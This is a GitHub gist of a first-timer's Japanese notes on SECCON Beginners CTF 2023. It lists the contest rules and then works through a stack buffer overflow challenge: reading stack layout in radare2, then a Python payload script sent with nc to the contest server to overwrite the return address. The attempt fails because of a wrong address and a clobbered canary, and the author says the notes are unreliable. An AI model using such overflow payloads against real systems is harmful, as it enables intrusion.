Skip to content

Instantly share code, notes, and snippets.

@hassaku63
Last active June 4, 2023 05:29
Show Gist options
  • Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
SECCON Beginners CTF 2023

URL: https://score.beginners.seccon.jp/

今回 CTF 初挑戦だったので、やってたこと、考えてたことなどを雑にメモっていく場所。

マジで何もわかっていないで書いてるので、(これを見てしまった人向けに)正解にたどり着きたい人、参考情報を得たい人が見るような「資料」じゃないことを予め断っておく。

自分が何考えてたのかをある程度 dump したものであって、バックグラウンドを理解して書いてるものではない。

競技日程

2023/06/03(土) 14:00 JST - 2023/06/04(日) 14:00 JST

競技形式

Jeopardy形式

ルール

  1. 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
  2. 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
  3. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
  4. 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。

禁止事項

  1. 他チームへの妨害行為
  2. 他チームの回答などをのぞき見する行為
  3. 他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など)
  4. 自チームのチーム登録者以外に問題・ヒント・解答を教えること
  5. 自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く)
  6. 設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃
  7. 競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!)
  8. その他、運営を阻害する行為

不正行為が発見された場合、運営側の裁量によって減点・失格などのペナルティがチームに対して課せられます。大会後に発覚した場合も同様とします。

特記事項

  1. 出題内容や開催中のアナウンスは原則日本語としますが、問題中で英語が用いられる場合があります。
  2. チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。
  3. 本大会では上位チームへの賞金・賞状の授与等は行いません。
  4. SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。
@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

Stack buffer を用いるとして話を進める。

まずは仕組みを知らないとどうしようもないので、「戻り先のアドレス」をどこで指定するのか調べる。

__show_stack() を見つつなんとなく想像してみる

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 

自分のイメージはこれ。

出典: https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/

今回介入できるのはローカル変数なのでスタック領域の話、と想像している。

レジスタの説明を見てみる: https://www.mztn.org/lxasm64/amd04.html
さっきの課題で使った radare2 の出力なども見てみると、おそらく主要レジスタはこんな感じ?

  • RAX, RBX, RCX, RDX ... 汎用
  • RSI, RDI ... アドレス系入ってることが多い?
  • RBP ... 多分、引数をスタックに積む時のアドレス...?
  • RSP ... 戻り先っぽい

RAX は関数呼び出しの戻り値になっていそう。
RCX, RDX は第1, 第2引数に使われていそう

main で宣言されてるローカル変数がこれ

┌ 204: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_30h @ rbp-0x30

コードを見比べると、これは char buf[BUF_SIZE]; に対応しているはず。

__show_stakc() 付近の操作がこれ。

│           0x0040125c      488d45d0       lea rax, [var_30h]
│           0x00401260      4889c7         mov rdi, rax
│           0x00401263      e87d000000     call sym.__show_stack

__show_stack() には buf のポインタを渡していることから、main の var_30h が buf であるとわかる。

やってることは

  1. buf のアドレスを rax にコピー
  2. rax を rdi にコピー
  3. __show_stack 呼び出し

rdi が第一引数ということになりそう。戻り値が rax なのはなんとなく他の実験から見えているので、そこは合っているていで読み進める。

次に __show_stack()

[0x004012e5]> pdf
            ; CALL XREFS from main @ 0x401218(x), 0x401263(x), 0x4012a2(x)
┌ 411: sym.__show_stack (int64_t arg1);
│           ; arg int64_t arg1 @ rdi
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_18h @ rbp-0x18
│           0x004012e5      f30f1efa       endbr64
│           0x004012e9      55             push rbp
│           0x004012ea      4889e5         mov rbp, rsp
│           0x004012ed      4883ec20       sub rsp, 0x20
│           0x004012f1      48897de8       mov qword [*ptr], rdi    ; arg1

ローカル変数は宣言順の逆順に並ぶので、最初に宣言されてる unsigned long *ptr = stack;var int64_t var_18h @ rbp-0x18 に対応 してるらしいとわかる

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

ローカル変数とか引数が Stack に積まれるのはイメージついた。

他に何が積まれているのかは __show_stack() の内容がいったん全部出してくれてるものとして見ていく

資料になりそうなスライドがあるのでこちらも見比べる。

https://www.slideshare.net/codeblue_jp/master-canary-forging-by-code-blue-2015#9

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 
  • "canary" は stack canary
  • "saved rdp" は framepointer
  • "saved ret addr" がリターンアドレス

という解釈になりそう。これを canary を変更しないで(?) "ret addr" だけ win() のアドレスになるよう上書きしたい、というのがこの問題のやりたいことに見える。

main では 1 byte x 32 要素の buf に対して最大 256 byte まで入力を許しているので、十分に ret addr を書き換えるだけの入力を受け付けられるように見える。

@hassaku63
Copy link
Author

リターンアドレスの書き換えには、

  • buf = 32 byte
  • (?) = 8 byte
  • canary = 8 byte
  • saved rbp = 8 byte
  • saved ret addr = 8 byte

が必要。

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

win() のシンボルはこうなる。

nth paddr      vaddr      bind   type   size lib name                                   demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
64  0x000012c2 0x004012c2 GLOBAL FUNC   35       win  ; 元のバイナリ
67  0x000012eb 0x000012eb GLOBAL FUNC   35       win  ; ubuntu 上で再コンパイルした場合

元のバイナリのアドレス = 0x004012c2 を決め打ちで行ってみる

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007fb47812c2e8  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

What's your name? 1234
Hello, 1234

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007f0a34333231  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

と、リトルエンディアン(であってる?)で入っていく様子が見える

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

0x000012c2 を埋めるためには

[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2] これを逆順して並べると良さそう?

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

雑にバイナリ生成書いてみた。

# gen.py
base = [0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37]

data = []

# buf
data.append(base)
data.append(base)
data.append(base)
data.append(base)
# ?
data.append(base)
# canary
data.append(base)
# frame pointer
#data.append(base)
# saved rbp
# data.append(base)
data.append([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])


addr = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2]
addr.reverse()

data.append(addr)

with open('data', 'wb') as fp:
    for item in data:
        fp.write(bytes(item))

__show_stack() の出力見ながら適当にコメント入れたりしてるので↑のコードはまあ当てずっぽう

python gen.py
$ cat data | nc rewriter2.beginners.seccon.games 9001

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x00007fb81acfd2e8  <- buf
 0x00007fffaf6ed2e8 | 0x00000000004014e0 
 0x00007fffaf6ed2f0 | 0x0000000000000000 
 0x00007fffaf6ed2f8 | 0x0000000000401110 
 0x00007fffaf6ed300 | 0x00007fffaf6ed400 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00007fb81ab30083  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

What's your name? Hello, 012345670123456701234567012345670123456701234567

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x3736353433323130  <- buf
 0x00007fffaf6ed2e8 | 0x3736353433323130 
 0x00007fffaf6ed2f0 | 0x3736353433323130 
 0x00007fffaf6ed2f8 | 0x3736353433323130 
 0x00007fffaf6ed300 | 0x3736353433323130 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00000000000012c2  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

How old are you? 

"How old are you? " は適当に入力してみた。が、制御が戻ってこない

@hassaku63
Copy link
Author

↑制御が戻ってこないということは

0x00000000000012c2 という指定の仕方が自分の意図と反しているか、
あるいは canary の書き換えが検知されたか、だと思っている

ただ、canary について調べてみた感じではそのまま終了するっぽいようにも見えるのでたぶん前者なんじゃかなろうかと思っている(よくわかっていない)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment